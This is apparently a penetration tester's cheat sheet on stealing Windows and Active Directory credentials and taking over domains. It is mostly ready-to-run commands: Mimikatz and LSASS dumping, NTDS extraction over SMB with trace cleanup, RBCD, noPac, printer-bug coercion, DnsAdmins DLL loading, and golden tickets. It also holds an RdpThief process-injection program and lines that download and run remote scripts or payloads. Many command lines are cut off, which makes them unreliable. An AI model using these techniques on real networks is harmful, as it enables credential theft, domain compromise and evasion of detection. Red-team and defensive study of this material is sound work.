Mimikatz

[Link]
[Link]

PS > .\[Link] "privilege::debug" "token::elevate" "log [Link]" "sekurlsa::logonpassword

In case of Windows 10 version 1803-1809 use Mimikatz v2.1.1, see Key import error

Parse MiniDump:

PS > .\[Link] "sekurlsa::minidump [Link]" "sekurlsa::logonpasswords full" "exit"

kiwi

meterpreter > getsystem


meterpreter > load kiwi
meterpreter > creds_msv
meterpreter > creds_wdigest
meterpreter > lsa_dump_secrets
meterpreter > creds_all
meterpreter > kiwi_cmd '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords full" "e

pypykatz
[Link]

Parse MiniDump and grep for creds:

$ pypykatz lsa minidump [Link] > [Link]

# Dumped with Mimikatz


$ grep -a '* Username : ' [Link] -A2 | grep -a -e Username -e Password -e NTLM | grep -a -v n

# Dumped with pypykatz


$ grep -a -P '\tusername ' [Link] -A2 | grep -a -e username -e password | grep -a -v None | x
$ grep -a -P 'Username: ' [Link] -A4 | grep -a -e Username -e Domain -e NT | grep -a -v None

spraykatz

[Link]

$ python3 [Link] -u snovvcrash -p 'Passw0rd!' -t [Link],[Link],[Link]

Dumpert

[Link]
av-edr/
[Link]

Dump [Link] using direct syscalls and removing user-land API hooks:

Cmd > [Link] .\[Link],Dump

Using sRDI (shellcode Reflective DLL Injection) technique:

1. Compile [Link].
2. Convert it to position independent shellcode with [Link]: python3
[Link] [Link] .
3. Use a shellcode loader of your choice to dump LSASS.

lsassy

[Link]
[Link]
[Link]
$ lsassy [Link]/24 -d [Link] -u snovvcrash -p 'Passw0rd!'
$ cme smb [Link]/24 -u snovvcrash -p 'Passw0rd!' -M lsassy

MalSeclogon

[Link]

[Link]

[Link]

Cmd > [Link] -p <LSASS_PID> -d 1


Cmd > [Link] -p <LSASS_PID> -d 2

[Link]

[Link]

Locate the [Link] process that's holding RDP creds:

Cmd > tasklist /M:[Link]

Use ProcDump or [Link] to dump process memory:

Cmd > .\[Link] -accepteula -64 -ma <PROCESS_PID> [Link]


Cmd > [Link] C:\windows\System32\[Link], MiniDump <PROCESS_PID> C:\Windows\Temp\svc

Grep for plaintext passwords:

$ strings -el [Link] | grep <USERNAME> -C1

Mimikatz

Cmd > .\[Link] "privilege::debug" "token::elevate" "log [Link]" "ts::logonpasswords" "e

Credential Manager
Mimikatz
Cmd > .\[Link] "privilege::debug" "token::elevate" "log [Link]" "vault::cred /patch" "e

DPAPI
Data Protection API

[Link]

ZN17 - Hunting for Credentials Dumping in Windows Environment (Teymur Kheirkhabar… 8…


PDF

Master keys locations (hidden files, need -Force ):

PS > ls -fo C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\ (%appdata%\Microsoft\Protec


PS > ls -fo C:\Users\snovvcrash\AppData\Local\Microsoft\Protect\ (%localappdata%\Microsoft\Pro

Credential files locations (hidden files, need -Force ):

PS > ls -fo C:\Users\snovvcrash\AppData\Roaming\Microsoft\Credentials\ (%appdata%\Microsoft\Cr


PS > ls -fo C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\ (%localappdata%\Microsoft

Unhide files:

PS > cmd /c "attrib -h -s 00ff00ff-00ff-00ff-00ff-00ff00ff00ff


PS > cmd /c "attrib -h -s 00ff00ff00ff00ff00ff00ff00ff00ff"

Mimikatz

[Link]

Decrypt manually offline with known plaintext password:

mimikatz # dpapi::masterkey /in:00ff00ff-00ff-00ff-00ff-00ff00ff00ff /sid:S-1-5-21-4124311166-


mimikatz # dpapi::cache
mimikatz # dpapi::cred /in:00ff00ff00ff00ff00ff00ff00ff00ff
SharpDPAPI

[Link]

[Link]
SharpDPAPI.ps1

Triage user's credentials, vaults, rdg and certificates:

PS > .\[Link] triage /password:Passw0rd!

Triage machine's credentials (machinecredentials), vaults (machinevaults) and certificates (certificates


/machine):

PS > .\[Link] machinetriage

Retrieve the domain DPAPI backup key (never changes) from a DC and decrypt master key blobs for any
user in the domain with it (needs DA privileges):

PS > .\[Link] backupkey /nowrap [/server:[Link]] [/file:[Link]]


PS > .\[Link] credentials /pvk:[Link] [/server:[Link]]

SharpChrome

[Link]

PS > .\[Link] logins|cookies [/pvk:[Link]]

SharpChromium

[Link]

PS > ls "C:\Users\snovvcrash\AppData\Local\Google\Chrome\User Data\Default"


PS > .\[Link] logins
PS > .\[Link] cookies

Linux
GNOME Keyrings

HTB{ RPG }
snovvcrash@gh-pages:~$ _

List keyrings:

$ python3 -c "import gnomekeyring as gk;print(gk.list_keyring_names_sync())"

Unlock keyring with password:

import gnomekeyring as gk

def list_keyring_items(keyring_name):
print(f'*********{keyring_name}**********')
gk.unlock_sync(keyring_name, 'Passw0rd!')
item_keys = gk.list_item_ids_sync(keyring_name)
for key in item_keys:
item_info = gk.item_get_info_sync(keyring_name, key)
print(f'Number: {key}')
print(f'Name: {item_info.get_display_name()}')
print(f'Password: {item_info.get_secret()}')

list_keyring_items('mykeyring')

Tools

mimipenguin

[Link]

$ sudo python3 [Link]

LSA
Local Security Authority

[Link]
[Link]
SharpSecDump

[Link]

[Link]
SharpSecDump.ps1

Decrypt LSA secrets on target:

PS > Invoke-SharpSecDump -C "-target=[Link]"

MSCash2/MSCache2 (DCC2)

[Link]
cracking-mscash-cached-domain-credentials

Domain cached credentials are stored within LSA secrets in HKLM:\SECURITY registry hive:

Cmd > reg save hklm\system [Link]


Cmd > reg save hklm\security [Link]

[Link]

Export registry hives and extract cached creds locally with [Link] :

$ [Link] -system [Link] -security [Link] LOCAL

[Link]

[Link]

Export registry hives and extract cached creds locally with [Link] :

$ python [Link] --system [Link] --security [Link]

Crack

$ hashcat -m 2100 -O -a 0 -w 4 --session=dcc2 -o [Link] [Link] seclists/Passwords/darkc0de


NTDS
Windows NT Directory Services

Create Shadow
Locate [Link] :

cmd /c where /R C:\ [Link]

Create a shadow disk:

cd \Windows\Temp
powershell -c "Add-Content add_vol.txt 'set context persistent nowriters'"

powershell -c "Add-Content add_vol.txt 'set metadata C:\Windows\Temp\[Link]'"


powershell -c "Add-Content add_vol.txt 'set verbose on'"
powershell -c "Add-Content add_vol.txt 'begin backup'"
powershell -c "Add-Content add_vol.txt 'add volume c: alias DCROOT'"
powershell -c "Add-Content add_vol.txt 'create'"
powershell -c "Add-Content add_vol.txt 'expose %DCROOT% w:'"
powershell -c "Add-Content add_vol.txt 'end backup'"
cmd /c [Link] /s add_vol.txt

add_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\[Link]
set verbose on
begin backup
add volume c: alias DCROOT
create
expose %DCROOT% w:
end backup

Exfiltrate over SMB


Create a network share with anonymous access and put there all we need:

cd \Windows\Temp
copy w:\Windows\NTDS\[Link] [Link]
cmd /c [Link] save hklm\system [Link]
cmd /c [Link] save hklm\sam [Link]
cmd /c [Link] save hklm\security [Link]

Connect to the share and grab the files:

$ [Link] MEGACORP/administrator:'Passw0rd!'@[Link]
use C$
cd windows/temp
get [Link]
get [Link]
get [Link]
get [Link]

Clean Up
Remove the shadow volume:

cd \Windows\Temp
powershell -c "Add-Content delete_vol.txt 'set context persistent nowriters'"
powershell -c "Add-Content delete_vol.txt 'set metadata C:\Windows\Temp\[Link]'"
powershell -c "Add-Content delete_vol.txt 'set verbose on'"
powershell -c "Add-Content delete_vol.txt 'unexpose w:'"
powershell -c "Add-Content delete_vol.txt 'delete shadows volume c:'"
powershell -c "Add-Content delete_vol.txt 'reset'"
cmd /c [Link] /s delete_vol.txt

delete_vol.txt
set context persistent nowriters
set metadata C:\Windows\Temp\[Link]
set verbose on
unexpose w:
delete shadows volume c:
reset

Remove the share and all the traces:

cd \Windows\Temp
rm [Link]
rm [Link]
rm [Link]
rm [Link]
rm C:\Windows\Temp\[Link]
rm add_vol.txt
rm delete_vol.txt
Parse
Parse with [Link]:

$ [Link] [-pwd-last-set] [-user-status] [-history] -sam [Link] -system [Link] -


$ cat [Link] | grep -a aad3b | grep -i 'Status=Enabled' | grep -v 31d6c | grep -v -e '\$' -e
$ hashcat -m 1000 -a 0 -w 4 -O --session=ntds -o [Link] [Link] seclists/Passwords/darkc0de

Parse with aesedb (faster but less informative):

$ antdsparse <BOOTKEY> [Link] -o [Link] --progress


$ antdsparse [Link] [Link] -o [Link] --progress

Reversible Encryption

[Link]
[Link]

Check if enabled globally:

[Link] > Default Domain Policy > Computer Configuration > Policies > Windows Settings > Security
Settings > Account Policies > Password Policy > Store passwords using reversible encryption >
Enabled ✔

Check if enabled for specific users:

PS > Get-ADUser -Filter {userAccountControl -band 128} -Properties userAccountControl | ft nam

When DCSyncing such users, a cleartext password will be obtained.

Password Filter

[Link]
[Link]
[Link]

[Link]

Abuse PasswordChangeNotify to load a custom DLL capturing plaintext credentials when a password
change is performed (the passwords will appear in C:\l Fil ? t t files):

PS > $passwordFilterName = (Copy-Item "[Link]" -Destination "C:\Windows\System32" -


PS > $lsaKey = Get-Item "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\"
PS > $notificationPackagesValues = $[Link]("Notification Packages")
PS > $notificationPackagesValues += $passwordFilterName
PS > Set-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\" "Notification Packages" $n
PS > Restart-Computer -Confirm

RDP
Remote Desktop Protocol

RdpThief

[Link]

[Link]
[Link]

[Link]

[Link]

Some custom code that waits for [Link] to be run and loads the malicious library into it:

[Link]
using System;
using [Link];
using [Link];
using [Link];
using [Link];
using [Link];

namespace RdpThiefInjector
{
class Program
{
[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processI

[DllImport("[Link]", SetLastError = true, ExactSpelling = true)]


static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, ui

[DllImport("[Link]")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lp

[DllImport("[Link]")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, ui
[DllImport("kernel32", CharSet = [Link], ExactSpelling = true, SetLastError = tr
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("[Link]", CharSet = [Link])]


public static extern IntPtr GetModuleHandle(string lpModuleName);

static void Main(string[] args)


{
string dllName = @"C:\Temp\[Link]";
HashSet<int> PIDs = new HashSet<int>();
[Link]("[*] Joined the hunt for [Link] processes...");
while (true)
{
Process[] mstscProc = [Link]("mstsc");
if ([Link] > 0)
{
for (int i = 0; i < [Link]; i++)
{
int processId = mstscProc[i].Id;
if (![Link](processId))
{
[Link]($"[+] Detected non-hooked process with PID={proc
IntPtr hProcess = OpenProcess(0x001F0FFF, false, processId);
IntPtr dllAddress = VirtualAllocEx(hProcess, [Link], 0x1000,
IntPtr outSize;
bool res = WriteProcessMemory(hProcess, dllAddress, [Link]
if (res)
{
[Link]("[+] WriteProcessMemory succeeded!");
}
else
{
[Link]("[-] WriteProcessMemory failed :(");
}
IntPtr loadLibraryAddress = GetProcAddress(GetModuleHandle("kernel
IntPtr hThread = CreateRemoteThread(hProcess, [Link], 0, load
if (hThread != null)
{
[Link]("[+] CreateRemoteThread succeeded!");
[Link]($"[*] Process {processId} is now hooked, loo
[Link](processId);
}
else
{
[Link]("[-] CreateRemoteThread failed :(");
}
}
}
}
[Link](5000);
}
}
}
}

The DLL can be converted to shellcode with [Link] (sRDI approach) and then
be injected into the target process. That would help to avoid dropping the DLL to disk:

beacon> rdpthief_enable
beacon> rdpthief_dump
beacon> rdpthief_disable

Abusing CredSSP / TSPKG

[Link]
by-abusing-credssp-tspkg-rdp-sso/

RPC

SAM
Security Account Manager

[Link]

Cmd > reg save hklm\system [Link]


Cmd > reg save hklm\sam [Link]
$ [Link] -system [Link] -sam [Link] LOCAL

vssadmin

Cmd > wmic shadowcopy call create Volume='C:\'


Cmd > vssadmin list shadows
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system syst
Cmd > copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam [Link]
Mimikatz

PS > Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "log [Link]" "lsadump::sam

DCSync
DS-Replication-Get-Changes + DS-Replication-Get-Changes-All

[Link]
hashes-from-domain-controller-with-dcsync
Tools

Mimikatz

mimikatz # lsadump::dcsync /domain:[Link] /user:MEGACORP\krbtgt


mimikatz # lsadump::dcsync /domain:[Link] /user:krbtgt@[Link]

Invoke-Mimikatz

[Link]
Mimikatz.ps1

PS > Invoke-Mimikatz -Command '"lsadump::dcsync /domain:[Link] /user:MEGACORP\krbtgt"

Invoke-DCSync.ps1

[Link]
DCSync.ps1

PS > Invoke-DCSync -GetComputers -Domain [Link] -DomainController [Link]

[Link]

$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -dc-ip [Link] -just-


$ [Link] [Link] -dc-ip [Link] -just-dc-user 'MEGACORP\krbtgt' -k -no

Targeted DCSync

When performing targeted DCSync (e.g., for persistence purposes) choose the most valuable accounts. One
can use the following LDAP query to search for effective domain admins ( adminCount=1 ) as well as DC
computer accounts ( SERVER_TRUST_ACCOUNT bit or userAccountControl=8192 is set):

(&
(|
(&(objectCategory=person)(objectClass=user))
(&(objectCategory=computer)(objectClass=computer))
)
(!(userAccountControl:1.2.840.113556.1.4.803:=2))
(|
(adminCount=1)
(userAccountControl:1.2.840.113556.1.4.803:=8192)
)
)

$ windapsearch --dc [Link] -d [Link] -u 'DC1$' --hash fc525c9683e8fe067095ba2ddc


$ for t in `cat [Link]`; do [Link] -pwd-last-set MEGACORP/'DC1$'@192.1
Or
$ [Link] -pwd-last-set MEGACORP/snovvcrash:'Passw0rd!'@[Link] -dc-ip 192.1

Delegation Abuse

[Link]
directory/
[Link]

[Link]
[Link]

[Link]

Constrained

Abusing Kerberos Constrained Delegation without Protocol Transition


snovvcrash@gh-pages:~$ _

Resource-based Constrained

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
Shenanigans Labs
[Link]
[Link]
constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution

[Link]
rbcd/

[Link]

MAQ (Machine Account Quota)


PowerShell (ActiveDirectory module):

PS > Get-ADObject -Identity "DC=megacorp,DC=local" -Properties * | select ms-ds-machineAccount

PowerView:

PV3 > Get-DomainObject -Identity "DC=megacorp,DC=local" | select ms-ds-machineAccountQuota

LDAP:

$ windapsearch --dc [Link] -d [Link] -u snovvcrash -p 'Passw0rd1!' -m custom --f

CrackMapExec:

$ cme ldap [Link] -u snovvcrash -p 'Passw0rd!' -M MAQ

RBCD from Windows


Load tools:

PS > IEX(New-Object [Link]).DownloadString("[Link]


PS > IEX(New-Object [Link]).DownloadString("[Link]

Define credentials for the compromised account with the necessary DACL:

PS > $userWithDaclUsername = '[Link]\snovvcrash'


PS > $userWithDaclPassword = ConvertTo-SecureString 'Qwe123!@#' -AsPlainText -Force
PS > $cred = New-Object [Link]($userWithDaclUsername, $user

Add new machine account and configure RBCD (i.e., set msDS-
AllowedToActOnBehalfOfOtherIdentity property to value of the new machine account SID) on the
vulnerable host (DC01):

Powermad > New-MachineAccount -MachineAccount fakemachine1337 -Password $(ConvertTo-SecureStri


PV3 > $computerSID = Get-DomainComputer -Identity fakemachine1337 -Properties ObjectSid -Verbo
PS > $SD = New-Object [Link] -ArgumentList "O:BAD:(A;;CC
PS > $SDBytes = New-Object byte[] ($[Link])
PS > $[Link]($SDBytes, 0)
PV3 > Get-DomainComputer [Link] -Verbose -Credential $cred | Set-DomainObject -Se
PS > .\[Link] hash /domain:[Link] /user:fakemachine1337$ /password:Passw0rd!
FC525C9683E8FE067095BA2DDC971889

Ask TGS for CIFS and also inject other potentially useful service names into the ticket (sname field is not
protected in TGS-REQ):

PS > .\[Link] s4u /domain:[Link] /user:fakemachine1337$ /rc4:FC525C9683E8FE067095B

If the ticket cannot be imported or there's no access to corresponding services, troubleshoot it:

Try impersonating different privileged users when requesting the ticket.

Try using FQDN to NetBIOS under /msdsspn parameter (i.e., CIFS/[Link] >
CIFS/DC01 ).

After the ticket has been successfully imported we can go for filesystem access (CIFS), PSRemoting
(WSMAN), DCSync (LDAP) and so on:

PS > klist
# CIFS
PS > cd \\[Link]\c$
PS > ls
PS > c:
# WSMAN
PS > Enter-PSSession -ComputerName [Link]
PS > exit
# LDAP
PS > ...DCSync...

Cleanup:

PV3 > Get-DomainComputer [Link] -Verbose -Credential $cred | Set-DomainObject -Cl


Powermad > Remove-MachineAccount -MachineAccount fakemachine1337

PowerView 4.0

Configure RBCD on the vulnerable host (DC01):

PV4 > Set-DomainRBCD DC01 -DelegateFrom fakemachine1337 -Verbose


Cleanup:

PV4 > Set-DomainRBCD DC01 -Clear -Verbose

RBCD from Linux


Add new machine account:

$ [Link] -computer-name 'fakemachine1337' -computer-pass 'Passw0rd!' -dc-ip 192.168.1

Ask TGS for LDAP:

$ [Link] -spn ldap/[Link] -impersonate 'DC01' -dc-ip [Link] [Link]

rbcd-attack

[Link]

Configure RBCD on the vulnerable host (DC01):

$ python3 [Link] -f fakemachine1337 -t DC01 -dc-ip [Link] [Link]/snovvcrash:'Pa


$ python3 [Link] -f fakemachine1337 -t DC01 -dc-ip [Link] [Link]/'MEGACORP\SRV0

rbcd_permissions

[Link]

Configure RBCD on the vulnerable host (DC01) via PtH:

$ python3 [Link] -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d [Link] -c

Bronze Bit

CVE-2020-17049

[Link]
[Link]

Calculate Kerberos keys for the fake machine account with Get-KerberosAESKey:
PS > Get-KerberosAESKey -Password 'Passw0rd!' -Salt MEGACORP.LOCALfakemachine1337
AES128 Key: 01C7B89A74F7AEC1007DED2F3DE0A815
AES256 Key: 211E8E3134ED797B0A2BF6C36D1A966B3BED2B24E4AAA9ECEED23D0ABF659E98

Or with Mimikatz:

mimikatz # kerberos::hash /domain:[Link] /user:fakemachine1337 /password:Passw0rd!


* rc4_hmac_nt fc525c9683e8fe067095ba2ddc971889
* aes128_hmac 01c7b89a74f7aec1007ded2f3de0a815
* aes256_hmac 211e8e3134ed797b0a2bf6c36d1a966b3bed2b24e4aaa9eceed23d0abf659e98
* des_cbc_md5 621a91461f1adffe

Now you can impersonate a protected user:

$ [Link] -computer-name fakemachine1337 -computer-pass 'Passw0rd!' -dc-ip [Link]


$ python3 [Link] -t 'CN=dc01,OU=Domain Controllers,DC=megacorp,DC=local' -d [Link] -c
$ [Link] -spn ldap/[Link] -impersonate 'administrator' -dc-ip [Link] mega
$ [Link] [Link] -just-dc-user 'MEGACORP\krbtgt' -dc-ip [Link] -no-p

RBCD with UPNs

[Link]

User [Link] is populated within the msDS-AllowedToActOnBehalfOfOtherIdentity property of the


SRV01 machine:

PS > Set-ADComputer SRV01 -PrincipalsAllowedToDelegateToAccount [Link]

Request a regular TGT for [Link]:

PS > .\[Link] asktgt /user:[Link] /rc4:fc525c9683e8fe067095ba2ddc971889 /nowrap

Request a U2U ticket providing TGT within the /ticket and /tgs options and specifying the user to
impersonate within the /targetuser option (this is an S4U2self request):

PS > .\[Link] asktgs /u2u /targetuser:<USER_TO_IMPERSONATE> /nowrap /ticket:<TGT> /tgs:<TG

Obtain a hex view of the current TGT session key (RC4 HMAC):

$ python3 -c 'import binascii,base64;print([Link](base64.b64decode("<TGT_SESSION_KEY

Set [Link]'s NT hash to the hexlified TGT session key:


$ [Link] [Link]/[Link]:'Passw0rd!'@[Link] -newhashes :<TGT_SESSION_K

Go for the S4U attack providing the initial TGT within the /ticket option and the forwardable TGS (got
from the U2U request) within the /tgs option (only the S4U2proxy part is performed):

PS > .\[Link] s4u /msdsspn:host/[Link] /altservice:http /ticket:<TGT> /tgs:<

Automatization

[Link]

PS > .\[Link] s4u /u2u /user:[Link] /rc4:fc525c9683e8fe067095ba2ddc971889 /impersonateuser

RBCD for PrivEsc

[Link]
[Link]
[Link]

[Link]
[Link]

sAMAccountName Spoofing

CVE-2021-42278, CVE-2021-42287

[Link]
[Link]
[Link]

[Link]
[Link]
[Link]
[Link]

Check

Windows
Look at the size of the returned TGT. If the DC is not vulnerable, the TGT will contain the PAC
part and be obviously larger:

PS > .\[Link] asktgt /domain:[Link] /dc:[Link] /user:snovv

Linux

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' -M nopac

Exploit

Windows

# create a new machine account


PM > New-MachineAccount -Domain [Link] -DomainController [Link]
# clear SPNs
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear se
# change fake machine's sAMAccountName
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value DC01 -Attribute
# request TGT
PS > .\[Link] asktgt /domain:[Link] /dc:[Link] /user:DC01
# change fake machine's sAMAccountName once again
PM > Set-MachineAccountAttribute -MachineAccount FakeMachine -Value FakeMachine -At
# request S4U2self
PS > .\[Link] s4u /domain:[Link] /dc:[Link] /altservice:LD
# fire DCSync
PS > .\[Link] "lsadump::dcsync /domain:[Link] /dc:[Link]

Linux

Manually with Impacket:

[Link]

# create a new machine account


$ [Link] -computer-name FakeMachine -computer-pass 'Passw0rd1!' -dc-host DC
# clear SPNs
$ [Link] -u '[Link]\snovvcrash' -p 'Passw0rd2!' -t 'FakeMachine$' -c DC0
# change fake machine's sAMAccountName
$ [Link] [Link]/snovvcrash:'Passw0rd2!' -dc-ip [Link] -curr
# request TGT
$ [Link] [Link]/DC01:'Passw0rd1!' -dc-ip [Link]
#
$ change fake machine's
[Link] sAMAccountName once again
[Link]/snovvcrash:'Passw0rd2!' -dc-ip [Link] -curr
# request S4U2self
$ KRB5CCNAME=[Link] [Link] -spn LDAP/[Link] [Link]/DC01
# fire DCSync
$ KRB5CCNAME=[Link] [Link] -k -no-pass [Link] -j

Using noPac:
[Link]

# providing an existing (owned) computer account creds


$ python3 [Link] [Link]/snovvcrash:'Passw0rd123!' -dc-host [Link].

dNSHostName Spoofing

CVE-2022-26923

Abuse RBCD

mitm6 + WPAD + LDAPS NTLM Relay + RBCD

[Link]
[Link]
[Link]

From Zero Credential to Full Domain Compromise (Haboob Team).pdf 2MB


PDF

$ sudo [Link] -t ldaps://[Link] --delegate-access --no-smb-server -wh atta


$ sudo mitm6 -i eth0 -d [Link] --ignore-nofqdn

WebDav + LDAPS NTLM Relay + RBCD

[Link]
[Link]
[Link]
[Link]

$ cme smb [Link]/24 -u snovvcrash -p 'Passw0rd!' -M webdav


$ sudo [Link] -t ldaps://[Link] --delegate-access --escalate-user 'PWNED-M
$ sudo ./[Link] -I eth0 -wd -P -v
$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' attacker@80/[Link] VICTI
$ [Link] -spn cifs/[Link] MEGACORP/'PWNED-MACHINE$' -dc-ip [Link] -hash

Unconstrained

[Link]

Enumerate:

PowerView3 > Get-DomainComputer -Unconstrained | select dnshostname,samaccountname,useraccount

Monitor for TGTs


Coerce authentication from a DC while monitoring for TGTs in the background on the owned unconstrained
delegation system:

Cmd > .\[Link] monitor /targetuser:DC1$ /interval:5 /nowrap


Cmd > .\[Link] [Link] [Link]

Use ticket_converter or [Link] to convert the TGT from .kirbi to .ccache (usable with
impacket):

$ python ticket_converter.py [Link] [Link]


$ KRB5CCNAME=`pwd`/[Link] ...

"Relaying" Kerberos

[Link]

A Note on Calculating Kerberos Keys for AD Accounts


snovvcrash@gh-pages:~$ _
From Zero Credential to Full Domain Compromise (Haboob Team).pdf 2MB
PDF

Printer Bug + DCSync

Requirements:

Owned computer account with unconstrained delegation enabled (SRV01).

Printer bug on a domain controller (DC01).

Permissions to add an SPN for the owned computer account and a new DNS record in AD.

1. Grab owned computer account password to calculate its Kerberos AES key. This is done automatically
when extracting the password remotely with [Link] , or it will be done later by
[Link] when providing it the password in hex from local [Link] output:

# Remotely
$ [Link] MEGACORP/snovvcrash:'Passw0rd!'@[Link] -ts
...
MEGACORP\SRV01$:aes256-cts-hmac-sha1-96:00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00

# Locally
Cmd > [Link] save hklm\system [Link]
Cmd > [Link] save hklm\security [Link]
$ [Link] -system [Link] -security [Link] LOCAL
...
[*] $[Link]
$[Link]:plain_password_hex:<PLAIN_PASSWORD_HEX>

2. Add a malicious SPN for the owned computer account with unconstrained delegation:

# Check (no modifications)


$ python [Link] -u '[Link]\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi
# Adding servicePrincipalName that doesn't match full hostname or samAccountName will fail
$ python [Link] -u '[Link]\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi
# But modifying msDS-AdditionalDnsHostName will succeed
$ python [Link] -u '[Link]\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi

3. Add a DNS record pointing to the attacker's host:

$ python [Link] -u '[Link]\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -r [Link]

4. Check that the record was added successfully (~ 3 minutes):

$ nslookup [Link] <DC01_IP>


Server: [Link]
Address: [Link]#53

Name: [Link]
Address: [Link]

5. Start [Link] providing AES key of the owned computer account or its plain password in hex
with salt:

# In case [Link] was used remotely


$ sudo python [Link] -aesKey 00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00ff00f
# In case [Link] was used locally
$ sudo python [Link] --krbhexpass <PLAIN_PASSWORD_HEX> --krbsalt MEGACORP.LOCALhostsrv01

6. Coerce the authentication to attacker's host from DC01 by triggering printer bug:

$ python [Link] [Link]/'SRV01$'@[Link] -hashes :fc525c9683e8fe0670

7. Export extracted TGT and perform DCSync to get krbtgt hash (or any other privileged account hash):

$ export KRB5CCNAME=`pwd`/'DC01$@MEGACORP.LOCAL_krbtgt@[Link]'
$ [Link] [Link] -dc-ip <DC01_IP> -just-dc-user 'MEGACORP\krbtgt' -k -no-p

8. Cleanup. Delete SPN and DNS record:

$ python [Link] -u '[Link]\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -s HOST/evi


$ python [Link] -u '[Link]\SRV01$' -p :fc525c9683e8fe067095ba2ddc971889 -r [Link]
# Check if the SPN was deleted successfully
$ windapsearch --dc [Link] -d [Link] -u 'SRV01$' --hash fc525c9683e8fe067095ba2d

Other scenarios:

In this blogpost it is described how to perform the attack by abusing a service (user) account with
unconstrained delegation enabled.

In this blogpost it is described how to perform the attack from Windows by extracting TGT with Inveigh.

Discovery

Discover domain NetBIOS name:

PS > ([ADSI]"LDAP://[Link]").dc

PS > $DomainName = (Get-ADDomain).DNSRoot


PS > (Get-ADDomain -Server $DomainName).NetBIOSName
Discover DCs' FQDN names:

PS > nslookup -type=all _ldap._tcp.dc._msdcs.$env:userdnsdomain

PS > $ldapFilter = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=819


PS > $searcher = [ADSISearcher]$ldapFilter
PS > $[Link]()
PS > $[Link]() | ForEach-Object { $_.GetDirectoryEntry() }
Or
PS > ([ADSISearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=81

PS > [[Link]]::GetComputerDomain().DomainControllers

Cmd > nltest /dsgetdc:[Link]

PS > $DomainName = (Get-ADDomain).DNSRoot


PS > $AllDCs = Get-ADDomainController -Filter * -Server $DomainName | Select-Object Hostname,I

PS > $AllDCs = (Get-ADForest).GlobalCatalogs

PV3 > Get-DomainController | Select Name,IPAddress

Discover global catalog:

PS > Get-ADDomainController -Discover -Service "GlobalCatalog"

Discover MS Exchnage servers' FQDN names:

[Link]

PS > Discover-PSMSExchangeServers | Select ServerName,Description | Tee-Object [Link]

Discover MS SQL servers' FQDN names:

[Link]

PS > setspn -T [Link] -Q MSSQLSvc/*


PS > Discover-PSMSSQLServers | Select ServerName,Description | Tee-Object [Link]

DC IPs
Ask _ldap._tcp.dc._msdcs :

$ nslookup -type=srv _ldap._tcp.dc._msdcs.[Link]


$ dig -t srv _ldap._tcp.dc._msdcs.[Link]
Or query one of the DCs directly for forest/domain FQDN to get corresponding DC IP addresses:

$ dig @[Link] [Link]


$ dig @[Link] [Link]

Subnets

[Link]

$ cme ldap [Link] -d [Link] -u snovvcrash -p 'Passw0rd!' -M subnets

DnsAdmins

[Link]
a0f779b8dc83
[Link]
[Link]
[Link]
system-to-domain-compromise

[Link]

Exploit:

$ msfvenom -p windows/x64/exec cmd='c:\users\snovvcrash\documents\[Link] [Link] 1337 -e pow


PS > [Link] <HOSTNAME> /Config /ServerLevelPluginDll c:\users\snovvcrash\desktop\[Link]
PS > Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ -Name ServerLeve
PS > ([Link] \\<HOSTNAME> stop dns) -and ([Link] \\<HOSTNAME> start dns)

Cleanup:

PS > reg delete HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll


PS > ([Link] \\<HOSTNAME> stop dns) -and ([Link] \\<HOSTNAME> start dns)

Dominance
Silver Ticket
[Link]

Kerberos Silver Ticket Attack Explained

Rubeus

Cmd > [Link] s4u /domain:[Link] /dc:[Link] /user:SRV01$ /rc

Impacket

$ [Link] [Link]/'SRV01$' -hashes :fc525c9683e8fe067095ba2ddc971889 -dc-ip

Golden Ticket

[Link]
[Link]

Kerberos Golden Ticket Attack Explained


Mimikatz

Cmd > .\[Link] "kerberos::golden /domain:[Link] /user:snovvcrash /sid


Cmd > .\[Link] "lsadump::dcsync /user:[Link]\krbtgt /domain:megacorp.

Impacket

$ [Link] -nthash 00ff00ff00ff00ff00ff00ff00ff00ff -domain-sid S-1-5-21-4266912


$ export KRB5CCNAME=`readlink -f [Link]`
$ [Link] [Link]/snovvcrash@[Link] -k -no-pass
$ [Link] [Link]/snovvcrash@[Link] -dc-ip [Link] -

Diamond Ticket

[Link]

AdminSDHolder Modification

[Link]
and-backdoor-adminsdholder-to-obtain-domain-admin-persistence
